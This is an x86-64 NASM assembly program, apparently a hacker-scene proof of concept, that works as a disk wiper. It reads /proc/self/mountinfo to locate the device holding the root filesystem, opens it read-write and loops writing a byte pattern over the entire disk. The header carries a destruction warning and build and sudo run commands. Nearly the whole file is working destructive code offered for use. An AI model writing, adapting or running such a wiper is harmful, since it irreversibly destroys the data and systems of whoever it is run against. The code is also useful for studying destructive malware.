;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;; ;;; ;;; ;;; ; ;;; ;;; ;;; ;;; ;;;;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;; ;------------------------------------------------------------------------------- ; /!\ WARNING /!\ ; This program WILL destroy your disk. Run at your own risk, and only ; on systems you are authorized to destroy. ; ; This program opens /proc/self/mountinfo to enumerate filesystems and disks. ; It finds where the filesystem root (/) is mounted, and writes a pattern to ; the entirety of the disk. ; ; Using /proc/self/mountinfo to find / : ; ; [ EXAMPLE ] ; ; $ grep '/ / ' /proc/self/mountinfo ; 32 1 259:2 / / rw,relatime shared:1 - ext4 /dev/nvme0n1p2 rw,errors=remount-ro ; $ grep '/ / ' /proc/self/mountinfo ; 25 0 8:0 / / rw,relatime shared:1 - ext4 /dev/sda rw,errors=remount-ro ; ; Build: ; $ nasm -f elf64 p3.asm ; ld p3.o -o p3 ; Run: ; $ sudo ./p3 ;----------------------------------------------------------------- @netspooky -- ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;; ;;;;;; ;;; ;;; ;;; ;;;;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;------------------------------------------------------------------------------- section .text ; global _start ; _start: ; mov rdi, 0x6f666e69 ; Pushing the ; push rdi ; file name ; mov rdi, 0x746e756f6d2f666c ; /proc/self/mountinfo ; push rdi ; onto the stack ; mov rdi, 0x65732f636f72702f ; ... ; push rdi ; ... ; mov rdi, rsp ; const char *pathname ; xor rsi, rsi ; int flags - O_RDONLY ; mov rax, rsi ; 0 ; inc rax ; 1 ; inc rax ; 2 - open syscall ; syscall ; ; reader: ; Reading /proc/self/mountinfo so we can parse it. ; inc rdx ; 1 ; shl rdx, 14 ; size_t count - # of bytes to read - 0x400 ; sub rsp, rdx ; Make space on the stack - 0x400 ; mov r9, rax ; Save fd in r9 for later ; mov rdi, rax ; int fd - The file descriptor ; mov rsi, rsp ; void *buf - The buffer that is the stack ; xor eax, eax ; 0 - read syscall ; syscall ; RSI still contains the buffer after syscall ; mov di, 0x202f ; '/ ' - The byte pattern to look for ; xor rcx, rcx ; 0 ; inc rcx ; 1 ; shl rcx, 14 ; 0x400 - Counter for reading the file chunk ; comp1: ; Looking for the first slash and space in each entry ; mov bx, word[rsp] ; Move word to bl ; cmp di, bx ; Compare to the '/ ' pattern ; je comp2 ; Disk entry found, onto next comparison ; dec rcx ; Decrement counter ; jz xxit ; Jump if zero to the end ; inc rsp ; Read the next byte in the file ; jmp comp1 ; Jump back to the top ; comp2: ; Here we are looking for the next slash and space ; inc rsp ; Since we already know the two bytes at the ; inc rsp ; pointer, inc twice to get next two bytes ; mov bx, word[rsp] ; Move word to bl ; cmp di, bx ; Make the same comparison to '/ ' ; je comp3 ; Disk holding / was found ; dec rcx ; Decrement counter ; jz xxit ; Jump if zero to the end ; dec rcx ; Decrement counter ; jz xxit ; Jump if zero to the end ; inc rsp ; If we didn't find anything, keep going ; jmp comp1 ; And back to first comparison ; comp3: ; At this point, we have located the '/ / ' record, so we can look for ; ; the next slash in the disk name ; inc rsp ; Increment through the rest of the line ; mov bl, byte[rsp] ; Get just one byte now ; cmp dil, bl ; dil contains '/' ; je prep ; If we found it, we have the disk name ; jmp comp3 ; If not, keep going ; prep: ; Preparing for the final comparison ; xor rcx, rcx ; This will hold the length of the disk name ; mov dil, 0x20 ; We are now looking for a space. ; getdisk: ; Here we are grabbing the entire disk name ; inc rsp ; Increment the index ; inc rcx ; Increment our length counter ; mov bl, byte[rsp] ; Grab a byte ; cmp dil, bl ; Compare to a ' ' char ; je opendisk ; If it matches, we found it! ; jmp getdisk ; If not, keep going! ; opendisk: ; Now we are going to open the disk as a file as we did earlier. ; xor rsi, rsi ; 0 ; add rsp, 8 ; Pushing a 0 for the null... ; push rsi ; ...terminator on the disk name string. ; sub rsp, rcx ; Now RSP points to the disk name ; mov rdi, rsp ; const char *pathname - pointer to disk name ; inc rsi ; 1 ; inc rsi ; 2 - O_RDWR ; mov rax, rsi ; 2 - open syscall ; syscall ; writer: ; We now have the disk open in RW mode, no append. ; mov rdi, rax ; int fd - The file descriptor ; mov rsi, 0x7557575757575775 ; This is the marker payload - uWWWWWWu ; push rsi ; Push the payload ; mov rsi, rsp ; const void *buf - Payload pointer ; xor rax, rax ; 0 ; inc rax ; 1 - write syscall ; mov rdx, rax ; Get that 1 ; shl rdx, 3 ; 8 size_t count - # of bytes to write ; syscall ; lseeker: ; We have to set up the lseek call so that we will continue writing ; ; to the next byte in the file upon each additional write. ; xor rdx, rdx ; 0 ; inc rdx ; int whence; 1 = SEEK_SET ; mov rsi, rdx ; 1 ; shl rsi, 3 ; off_t offset; 8 - # of bytes to seek ; mov rax, rsi ; 8 - lseek syscall ; syscall ; Note that RDI still contains fd ; writer2: ; The final write loop, likely segfaults ; mov rsi, 0xABACABACABACABAC ; This is the pattern payload ; push rsi ; Push the payload ; mov rsi, rsp ; const void *buf - Payload pointer ; xor rax, rax ; 0 ; inc rax ; 1 - write syscall ; mov rdx, rax ; Get that 1 ; shl rdx, 3 ; 8 size_t count - # of bytes to write ; syscall ; jmp writer2 ; Bring it around town ; xxit: ; This is really only here in case of failure ; mov al, 0x3c ; exit syscall ; xor rdi, rdi ; 0 - Return code ; syscall ;------------------------------------------------------------------; ; Dedicated to those fighting for police accountability worldwide. ; ;------------------------------------------------------------------;